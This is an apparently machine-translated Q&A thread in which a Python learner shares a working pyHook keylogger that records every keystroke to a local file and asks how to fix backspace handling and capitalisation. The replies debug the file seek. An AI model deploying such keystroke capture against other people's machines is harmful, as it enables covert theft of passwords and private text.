2017-01-20 16 views
1

現在、私はPythonを学んでいるので、簡単なPython Keyloggerを構築する方法を示すYouTubeで興味深いビデオを見つけました。私はそれを少し変更し、ユーザーがbackspaceを押したときに最後の文字を削除できるようにしたので、if文にseekメソッドとtruncateメソッドを追加しました。バックスペースキー(Python)を押したときにKeyloggerがエラーを投げる

import pyHook, pythoncom, os 

file_log = "D:/Python Projects/log.txt" 


def OnKeyboardEvent(event): 
    global keylog 
    keylog = chr(event.Ascii) 
    with open(file_log, "a") as fl: 
     if event.Ascii == 13: 
      fl.write("\n") 
     elif event.Ascii == 8: 
      fl.seek(-1, os.SEEK_END) 
      fl.truncate() 
     else: 
      fl.write(keylog) 
     fl.close() 
    return True 

hooking = pyHook.HookManager() 
hooking.KeyDown = OnKeyboardEvent 
hooking.HookKeyboard() 
pythoncom.PumpMessages() 

は、しかし、私は、コードを実行しようとするとバックスペースキーは、私は次のエラーを取得する押したとき:

io.UnsupportedOperation: can't do nonzero end-relative seeks 

だから、誰もがこれで私を助けることができますか? また、キーロガーはすべての文字を大文字で保存します。文字が下位文字か上位文字かを認識し、そのように保存するためにスクリプトを変更する方法はありますか?

+0

[この他の質問](https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)に記載されている問題が発生しているようです。 –

+0

あなたは 'keylog'変数をグローバルにするべきではありません。これには理由はありません。 – blubberdiblub

答えて

-1

これを試してみてください:バックスペースキーが空のファイルで押されたときに発生して、余分なコードとエラーを指摘してネイサンに

if event.Ascii == 8: 
    while event.Ascii == 8 and os.stat(file_log).st_size >= 1: 
     f = open(file_log,'r+') 
     f.seek(-1,2) 
     f.truncate() 
     break 
    else: 
     pass 

感謝。私は必要な変更を加えました。皆さんありがとう!

+0

エラーの後の 'f.read(0)'は何かを助けますか? –

+0

そうではありません。私は以前の努力から残っていると思います。ナイスキャッチ!ありがとう! – MiggyDaMic

関連する問題